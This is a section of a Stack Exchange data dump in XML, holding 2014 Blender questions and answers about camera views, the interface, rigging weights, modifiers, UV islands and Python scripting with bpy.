  <row Id="16496" PostTypeId="2" ParentId="16493" CreationDate="2014-10-06T20:11:18.537" Score="1" Body="&lt;p&gt;While trying to figure out how to manipulate bpy.context.screen.areas[5].spaces[0].region_3d.view_camera_zoom , I accidentally discovered that the Home key will make the camera bounds fill the viewport.  If you try 'View All' from the spacebar menu it doesn't work exactly like the Home key (could not be bothered to hunt down why).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While not exactly useful, the examples at &lt;a href=&quot;http://web.purplefrog.com/~thoth/blender/python-cookbook/screenshot-sequence.html&quot; rel=&quot;nofollow&quot;&gt;http://web.purplefrog.com/~thoth/blender/python-cookbook/screenshot-sequence.html&lt;/a&gt; might get you a little closer to the solution.  Specifically&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def viewMatrixFromCamera(cam):&#xA;    &quot;&quot;&quot;&#xA;    :param cam: the camera whose point of view is of interest&#xA;    :return: the view matrix suitable for use in region_3d.view_matrix&#xA;    &quot;&quot;&quot;&#xA;    m2 = cam.rotation_euler.to_matrix()&#xA;    m2.resize_4x4()&#xA;    m3 = mathutils.Matrix.Translation(cam.location)&#xA;    return (m3*m2).inverted()&#xA;&#xA;def viewFrom(screen):&#xA;    &quot;&quot;&quot;&#xA;    :param screen:&#xA;    :return: the &quot;first&quot; area in the specified screen that is a 3D view.&#xA;    &quot;&quot;&quot;&#xA;    for obj in screen.areas:&#xA;        if (obj.type == 'VIEW_3D'):&#xA;            return obj&#xA;    return None&#xA;&#xA;&#xA;v3d = viewFrom(bpy.context.screen)&#xA;m1 = viewMatrixFromCamera(bpy.context.scene.camera)&#xA;print(m1)&#xA;v3d.spaces[0].region_3d.view_matrix = m1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately this exact code is NOT what you need when you are actually looking through the camera.  It only works to set the view when you are NOT looking through the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another problem is that while the code does move your focal point to the camera position, and gives you the correct orientation, it is highly unlikely to match the focal length of the camera.  I have not been able to find any setting on the 3D view that allows you to adjust the focal length when you are not looking through the camera.  When you &quot;zoom in&quot; you really just move the 3d view's focal point closer to the center point.&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="660" LastEditDate="2014-10-06T21:45:49.093" LastActivityDate="2014-10-06T21:45:49.093" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16497" PostTypeId="2" ParentId="16493" CreationDate="2014-10-06T20:16:42.413" Score="1" Body="&lt;p&gt;Python has access to all the variables used to make the camera matrix, it shouldn't be so much work to check on the C code and get it working in Python, note that the camera frame may have shift applied, so a matrix alone wont give give you the camera bounds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check: &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/source/blender/blenkernel/intern/camera.c$363&quot; rel=&quot;nofollow&quot;&gt;BKE_camera_params_compute_matrix&lt;/a&gt; and &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/source/blender/blenkernel/intern/camera.c$207&quot; rel=&quot;nofollow&quot;&gt;BKE_camera_params_from_object&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-10-06T20:16:42.413" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16499" PostTypeId="2" ParentId="16493" CreationDate="2014-10-06T21:27:52.880" Score="1" Body="&lt;p&gt;If you want to &quot;fill&quot; the screen with the camera view while looking through a camera, this little nugget should do the trick:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import mathutils&#xA;&#xA;&#xA;def viewFrom(screen):&#xA;    &quot;&quot;&quot;&#xA;    :param screen:&#xA;    :return: the &quot;first&quot; area in the specified screen that is a 3D view.&#xA;    &quot;&quot;&quot;&#xA;    for obj in screen.areas:&#xA;        if (obj.type == 'VIEW_3D'):&#xA;            return obj&#xA;    return None&#xA;&#xA;def wonk(factor):&#xA;    return 50*(2*math.sqrt(factor) - math.sqrt(2))&#xA;&#xA;#&#xA;&#xA;v3d = viewFrom(bpy.context.screen)&#xA;r3d = v3d.spaces[0].region_3d&#xA;&#xA;r3d.view_camera_offset = (0,0)&#xA;r3d.view_camera_zoom = 29.29 # (2-sqrt(2))*50&#xA;&#xA;a1 = v3d.regions[4].width / v3d.regions[4].height&#xA;a2 = scn.render.resolution_x / scn.render.resolution_y&#xA;&#xA;if a2&amp;lt;a1 :&#xA;    r3d.view_camera_zoom = wonk(a2/a1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to set your view point and angle to be the same as the camera while not looking through the camera, see my other example.&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="660" LastEditDate="2014-10-06T21:47:22.720" LastActivityDate="2014-10-06T21:47:22.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16500" PostTypeId="1" AcceptedAnswerId="16613" CreationDate="2014-10-07T01:52:01.540" Score="4" ViewCount="1824" Body="&lt;p&gt;Blender version 2.72 in the .zip downloaded from &lt;a href=&quot;http://www.blender.org/download/&quot; rel=&quot;nofollow&quot;&gt;blender.org&lt;/a&gt; there is a new file called &#xA;&lt;em&gt;blender-app.exe&lt;/em&gt; in addition to &lt;em&gt;blender.exe&lt;/em&gt;. What is blender-app.exe for? Which file should I use to open blender?&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-10-09T15:04:49.817" Title="Blender 2.72 &quot;blender-app.exe&quot;" Tags="&lt;versions&gt;&lt;windows&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16501" PostTypeId="1" CreationDate="2014-10-07T02:40:52.103" Score="1" ViewCount="947" Body="&lt;p&gt;When exporting in Blender, it seems as though all objects are represented in world space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish to have each object represented in their own local space relative to their own pivot point. With an associated transform from their parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this not possible? It makes it infinitely easier to use in other applications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not fussed which export I use, as I then use assimp2json to convert it to a JSON file and load it into a WebGL application. The problem being that when I rotate one of my meshes, it rotates around the world origin instead of the pivot point of the mesh.&lt;/p&gt;&#xA;" OwnerUserId="6368" LastActivityDate="2014-10-07T02:40:52.103" Title="Exporting with Local Coordinates / Pivot Points" Tags="&lt;export&gt;&lt;webgl&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16502" PostTypeId="1" CreationDate="2014-10-07T03:27:37.080" Score="1" ViewCount="2226" Body="&lt;p&gt;Sigh, every time I try to figure out Blender, I lose an hour because of something nutty. I'm a Lightwave user, but giving Blender a go. I tried to set up 4 views for Top/Front/Side/Perspective viewing, like in Lightwave Modeler, but after watching tutorials, I decided to reduce the windows down to one view again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, I only made about 5 more tiny views, and eventually learned how to join views. Now that I've done that, I wound up with one large view with ONLY the timeline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7zqRU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No matter what I try, I can only expand the console at the top, or move the boundaries between what you see. How do I get the default view back?&lt;/p&gt;&#xA;" OwnerUserId="6370" LastActivityDate="2014-10-07T05:20:29.557" Title="Editor Window Missing - Only seeing timeline" Tags="&lt;3d-view&gt;" AnswerCount="2" CommentCount="1" ClosedDate="2014-10-07T06:53:29.017" ContentLicense="CC BY-SA 3.0" />
  <row Id="16503" PostTypeId="2" ParentId="16502" CreationDate="2014-10-07T03:37:20.467" Score="2" Body="&lt;p&gt;Okay, found it after much clicking, there is a small control on the bottom menu of a view which allows selecting a number of different elements. In my screenshot, it is in the lower-left. Clicking it and selecting 3D View returned the 3D editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd still like to know, though, if there is a reset to default.&lt;/p&gt;&#xA;" OwnerUserId="6370" LastActivityDate="2014-10-07T03:37:20.467" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16504" PostTypeId="1" CreationDate="2014-10-07T03:45:40.160" Score="15" ViewCount="25257" Body="&lt;p&gt;I solved my other problem and I finally got it to deform to an acceptable level. However now I'm having trouble, I forgot to activate x-mirror when weight painting and I got the weights right on one side but I can't or don't know how I can transfer it over to the other side. I want to transfer the weight of thigh.L to thigh.R so is there anyway I can do this? &lt;/p&gt;&#xA;" OwnerUserId="6352" LastActivityDate="2015-05-17T11:07:29.710" Title="Is there any way to copy the weight of one bone over to another(forgot to use x-mirror)?" Tags="&lt;rigging&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="16505" PostTypeId="1" CreationDate="2014-10-07T04:36:26.593" Score="10" ViewCount="10019" Body="&lt;p&gt;I am new to blender. Pressing &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;Q&lt;/kbd&gt; opens the quad view. How to maximize any one of the four views of the quad view?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RZNDL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6373" LastEditorUserId="599" LastEditDate="2014-10-07T04:45:49.960" LastActivityDate="2020-08-06T21:20:08.257" Title="How to maximize any of the views in quad view?" Tags="&lt;interface&gt;&lt;3d-view&gt;&lt;shortcut&gt;" AnswerCount="2" CommentCount="2" ClosedDate="2020-08-06T21:21:59.833" ContentLicense="CC BY-SA 3.0" />
  <row Id="16506" PostTypeId="2" ParentId="16505" CreationDate="2014-10-07T04:39:40.970" Score="6" Body="&lt;p&gt;The quad view exists so that you can see all the views at once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of thinking of it like maximizing one of the quad view windows, think of it like aligning the user controlled view to an axis. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Numpad 1&lt;/kbd&gt; snaps user controlled view to front view&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Numpad 3&lt;/kbd&gt; snaps user controlled view to side view&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Numpad 7&lt;/kbd&gt; snaps user controlled view to top view&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Holding &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt; will snap to the opposite direction of the axis, so &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;Numpad 7&lt;/kbd&gt; snaps to bottom view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Numpad 5&lt;/kbd&gt; toggles perspective/orthographic view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/3dview/navigate/navigation.html#navigation&quot; rel=&quot;nofollow noreferrer&quot;&gt;the wiki&lt;/a&gt; for more information on navigating the 3D view.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2017-03-22T20:33:59.340" LastActivityDate="2017-03-22T20:33:59.340" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16507" PostTypeId="2" ParentId="16502" CreationDate="2014-10-07T05:09:50.977" Score="1" Body="&lt;p&gt;But sometimes you want the timeline editor visible at the same time as the 3D viewport. The widget in the extreme upper right and lower left hand corner of every window will divide that window, and you can put the editor window associated with any item in the editor window menu you referenced as the &quot;small control&quot; in any window. Using this, you would select the widget in the upper right or lower left, and split the window, and assign the desired window type--in the case that raised your question, the 3D viewport window--to that window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, there are a couple of ways to &quot;reset&quot;. One is to save the file you're working on, and open a New file (from the file menu, or by pressing CTRL-Nkey, and then append the items from the file you were working on into the new file. Another is to use the option &quot;Load Factory settings&quot;, also from the file menu. BUT BE WARNED: &quot;Load factory settings&quot; is a nuclear option, it will revert any other changes you may have made in user preferences back to the default, and most of the time this will NOT be what you want to do.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2014-10-07T05:20:29.557" LastActivityDate="2014-10-07T05:20:29.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16509" PostTypeId="1" CreationDate="2014-10-07T09:41:03.853" Score="0" ViewCount="164" Body="&lt;p&gt;To control my blender animation, I am using WebUi that sends a message to &lt;strong&gt;Ros through Rosbridge&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before doing so, I create a &lt;strong&gt;Ros Subscriber&lt;/strong&gt; in blender that listens for a signal from WebUi and creates a simple Cube in a Scene. It is not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my complete subscriber code that I wrote in blender's text editor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import rospy&#xA;import bpy&#xA;from std_msgs.msg import String&#xA;&#xA;def callback(data):&#xA;    if data.data == &quot;create&quot;:&#xA;        bpy.ops.mesh.primitive_cube_add()&#xA;    if data.data == &quot;shutdown&quot;:&#xA;        rospy.signal_shutdown(&quot;server stops&quot;)&#xA;&#xA;def listener():&#xA;    rospy.init_node('listener', anonymous=True)&#xA;    rospy.Subscriber(&quot;chatter&quot;,String,callback)&#xA;    rospy.spin()&#xA;listener()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When &lt;code&gt;bpy.ops.mesh.primitive_cube_add()&lt;/code&gt; is replaced by printing some messages it works, but not any command that acts upon the blender scene.&lt;/p&gt;&#xA;" OwnerUserId="6376" LastEditorUserId="241" LastEditDate="2014-10-07T11:07:51.843" LastActivityDate="2014-10-07T11:07:51.843" Title="Blender command doesn't get executed when it receives message from ROS" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16510" PostTypeId="1" AcceptedAnswerId="16512" CreationDate="2014-10-07T10:45:15.643" Score="9" ViewCount="746" Body="&lt;p&gt;To make it simpler, think helmet is a sphere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I need to place a star or any other complex object you can think of - on it. It's a big star, and it looks like taking the half of the helmet - so it should be spherically bent too. It can be separate object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(P.S. I watched another tutorial where the guy used boolean modifier in order to intersect two objects. The booleans seem to work on simple object. It didn't work in my case.)&lt;/p&gt;&#xA;" OwnerUserId="1397" LastActivityDate="2017-03-22T20:39:20.937" Title="What is the best or fast way to add a star on top of a helmet?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16511" PostTypeId="1" AcceptedAnswerId="24808" CreationDate="2014-10-07T12:16:22.467" Score="15" ViewCount="6172" Body="&lt;p&gt;I am trying to create a script that will allow me to generate a list and store it in the blend file. The list starts out blank and then strings get added to the list, resulting in:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;[&amp;quot;test1&amp;quot;,&amp;quot;test2&amp;quot;,&amp;quot;test3&amp;quot;]&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I create a PropertyGroup Class for the enum, define a new scene property as a CollectionProperty type with access to that enum Class, before appending a new item into the enum:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class item_set(bpy.types.PropertyGroup):&#xA;    myItems = []&#xA;    enums = bpy.props.EnumProperty(name=&amp;quot;My Items&amp;quot;, items=myItems)&#xA;bpy.utils.register_class(item_set)&#xA;&#xA;bpy.types.Scene.myItemSet = bpy.props.CollectionProperty(type=item_set)    &#xA;&#xA;newItem = bpy.context.scene.myItemSet.add()&#xA;newItem.myItems.append(&amp;quot;test&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&#xA;&lt;p&gt;&#xA;&lt;p&gt;I need to be able to add items to the list, save the blend file, re-open the file, run the script again and retrieve the list from the scene.&lt;/p&gt;&#xA;&lt;p&gt;However, the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc%3A2.6/Manual/Extensions/Python/Properties&quot; rel=&quot;noreferrer&quot;&gt;documentation&lt;/a&gt; states:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;One thing to keep in mind is that after saving and reloading your blend-file, your new property will have disappeared...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;...To make the values you assigned in a previous session available again, you need to redefine the property. So after reopening the blend-file you need to rerun:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.Object.myProperty = bpy.props.StringProperty()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I can do the appending into and retrieval of the property values absolutely fine upon an initial run, but as the documentation states, the property is unavailable when trying to view it's contents on a reload of the file (after having run the script, saved and re-opened the file), but I am unsure how to redefine it without clearing all it's values.&lt;/p&gt;&#xA;&lt;p&gt;If I redefined the scene property, it would presumably also need the enum Class to be available, which would currently set &lt;code&gt;myItems&lt;/code&gt; back to &lt;code&gt;[]&lt;/code&gt; (empty).&lt;/p&gt;&#xA;&lt;p&gt;Do I need to change the way I am initially setting the items in the class or am I on entirely the wrong track with all of this? All I need to do is store a list in the blend file, so if there is a better way please let me know.&lt;/p&gt;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&lt;p&gt;(I would hope, eventually, to be able to store sub lists &lt;code&gt;[[&amp;quot;a&amp;quot;,&amp;quot;b&amp;quot;],[&amp;quot;c&amp;quot;,&amp;quot;d&amp;quot;],[&amp;quot;e&amp;quot;,&amp;quot;f&amp;quot;]]&lt;/code&gt;, I'm just trying to get normal lists to work first.)&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2021-02-12T12:29:58.260" Title="How can I store and retrieve a custom list in a blend file?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="16512" PostTypeId="2" ParentId="16510" CreationDate="2014-10-07T12:21:04.873" Score="9" Body="&lt;p&gt;I would suggest you use a &lt;a href=&quot;https://docs.blender.org/manual/en/dev/modeling/modifiers/deform/shrinkwrap.html#shrinkwrap-modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;shinkwrap modifier&lt;/a&gt;, as well as a &lt;a href=&quot;https://docs.blender.org/manual/en/dev/modeling/modifiers/generate/solidify.html#solidify-modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;solidify modifier&lt;/a&gt; to give it some thickness, and possibly a &lt;a href=&quot;https://docs.blender.org/manual/en/dev/modeling/modifiers/generate/bevel.html#bevel-modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;bevel&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7bFFL.png&quot; alt=&quot;Shape on surface&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This applies to any shape you'd like to project onto any surface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just keep in mind that you need to have enough geometry to allow it to deform smoothly, and preferably a quad loop around the border to avoid shading (or bevel) artefacts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3tHvb.png&quot; alt=&quot;Star geometry&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="15924" LastEditDate="2017-03-22T20:39:20.937" LastActivityDate="2017-03-22T20:39:20.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16513" PostTypeId="1" CreationDate="2014-10-07T12:53:29.650" Score="3" ViewCount="265" Body="&lt;p&gt;After reading some posts here, i try to avoid using operators in order to avoid useless scene.update slowdown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunatly i still have a slowdown when creating multiple objects in blender, here is the 'test code' showing performance hit (seems to be linear and not exponential).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from datetime import datetime&#xA;&#xA;iter = 0&#xA;startTime = datetime.now()&#xA;&#xA;def duplicate_object(scene, name, copyOb):&#xA;    global startTime&#xA;    global index&#xA;&#xA;    mesh = bpy.data.meshes.new(&quot;tmp&quot;)&#xA;    ob_new = bpy.data.objects.new(name, mesh)&#xA;&#xA;    ob_new.data = copyOb.data.copy()&#xA;    ob_new.data.name = name&#xA;    bpy.data.meshes.remove(mesh)&#xA;    scene.objects.link(ob_new)&#xA;&#xA;    print(iter, datetime.now()-startTime)&#xA;    iter+=1&#xA;    startTime = datetime.now()&#xA;&#xA;    return ob_new&#xA;&#xA;for i in range(0,5000):&#xA;    duplicate_object(bpy.context.scene, &quot;toto&quot;, bpy.data.objects['Cube'])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure why script slowdown with object number, it doesn't seem to check for every object in scene to create a new one.. Is it only blender having bad time handling more and more objects (even before any scene.update()?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help welcome ! :)&lt;/p&gt;&#xA;" OwnerUserId="2788" LastEditorUserId="2788" LastEditDate="2014-10-07T14:55:34.077" LastActivityDate="2014-10-08T18:19:50.993" Title="Python performance without Blender operators" Tags="&lt;python&gt;&lt;performance&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16514" PostTypeId="2" ParentId="16510" CreationDate="2014-10-07T13:10:03.327" Score="5" Body="&lt;p&gt;Starting with a sphere and a star as separate objects, align the view so that the view is straight on to the star (in the second image I used &lt;em&gt;front view&lt;/em&gt;).&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/l9gLe.png&quot; alt=&quot;sphere and star&quot;&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3V2Mp.png&quot; alt=&quot;front view&quot;&gt;&lt;br&gt;&#xA;Select the star then the sphere, enter edit mode. Look oven on the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/3dview/introduction.html#tool-shelf&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;tool shelf&lt;/em&gt;&lt;/a&gt; and press the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/modeling/meshes/editing/subdividing/knife_subdivide.html?#knife-project&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Knife Project&lt;/em&gt;&lt;/a&gt; button. This is what you will get.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2EYuA.png&quot; alt=&quot;final result&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="15924" LastEditDate="2017-03-22T20:39:18.980" LastActivityDate="2017-03-22T20:39:18.980" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16515" PostTypeId="1" CreationDate="2014-10-07T14:11:49.087" Score="4" ViewCount="377" Body="&lt;p&gt;If somebody knows:&#xA;when we pick two points on UV image and search for shortest way in 3D, than return selection of shortest path to UV, we have problem, that selected vertices not only from initial island, but also all vertices that share same points in 3D mesh. So, question to deselect other islends that not selected initially...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for f in bm.faces:&#xA;  for l in f.loops:&#xA;    luv = l[uv_layer]&#xA;    if luv.select:&#xA;        #???how to remember the island, then to return to it? Direct Link not suitable&#xA;        luv.uv = l.vert.co.xy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lUaCe.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jMf0M.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1235" LastActivityDate="2014-10-13T16:50:05.977" Title="UV Islands. how to distinguish them?" Tags="&lt;python&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16516" PostTypeId="1" AcceptedAnswerId="16525" CreationDate="2014-10-07T14:30:56.290" Score="7" ViewCount="4809" Body="&lt;p&gt;I have a plane with a texture with both transparent and opaque elements. I would like to give that texture thickness. If I solidify the plane, the texture is only on the faces, not 'through' the solidified plane. I could apply array modifier in very tiny increments to build the thickness, but that's not optimal and seems not really smart either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: More details:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My initial request for this project:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/16392/is-it-possible-to-convert-image-textures-black-color-to-transparent&quot;&gt;Is it possible to convert image texture's black color to transparent?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to recreate series of confocal microscopic images into 3D structures. Each image is flat, I tried to give them thickness by adding array of 6 planes but it looks awful. If I could give each plane thickness, they would stack in nice 3D shapes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vhWwQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE 2&#xA;David - I tried your suggestion, but I'm getting no effect after displacement. I added solidify modifier on top of that, but I only get fill on edges / rims:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mRgUw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FINAL UPDATE:&#xA;I followed atomicbezierslinger method - it gave me pretty decent results with very good 3D reconstruction. I used 100x100 cubes per picture, resized z-size to 0.2. Attached is a render of 13 z-stacks from confocal. I need to tweak noise a bit, but I guess there's no better way to go.&#xA;Now I need to write a Python code to automate it - each data set is 100 z-stacks - too much to do it by hand.&#xA;I appreciate all suggestions and your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vEmEk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FOLLOW UP:&#xA;I probably was unclear asking initial question and didn't explain my goal well. Confocal microscope uses laser to scan fluorescent-labeled animal tissue. Each laser pass reads a plane of ~1 micron thickness then, the next scan goes deeper and deeper. This way z-stacks are created. There is a software for 3D reconstruction of z-stacks (e.g. ImageJ) but I am exploring possibilities and limitations of Blender in this application. Please see below image for the explanation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Picture source: Hammad et al., Arch Toxicol (2014) 88:1161–1183&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yhyhB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/r40F2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="625" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2015-01-19T19:40:19.083" Title="Is it possible to give a texture thickness?" Tags="&lt;texturing&gt;&lt;modifiers&gt;&lt;objects&gt;" AnswerCount="5" CommentCount="6" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16517" PostTypeId="1" AcceptedAnswerId="16528" CreationDate="2014-10-07T14:54:10.203" Score="5" ViewCount="13487" Body="&lt;p&gt;I wonder what is the quickest way to remove vertex groups in which all vetices have zero weight? Currently I got nearly 100 groups listed there after days of hard working, and I'm sure some of them are completely zero-weight groups and should definitely be removed, but it seems not so easy to quickly locate and remove them all.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-10-08T01:40:57.487" LastActivityDate="2018-12-18T00:24:53.573" Title="How to quickly remove all zero-weight vertex groups?" Tags="&lt;weight-painting&gt;&lt;vertex-groups&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16518" PostTypeId="1" AcceptedAnswerId="16519" CreationDate="2014-10-07T15:07:21.713" Score="4" ViewCount="14440" Body="&lt;p&gt;I position my camera close to my object. In &quot;Camera Persp&quot; I see my object very close. This is what I want.&#xA;Now when I hit F12 to render my object, but it always renders from a wrong distance/position further away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What setting might I have accidentally enabled?&lt;/p&gt;&#xA;" OwnerUserId="6102" LastActivityDate="2020-06-03T23:11:53.270" Title="camera different position/view on render" Tags="&lt;rendering&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
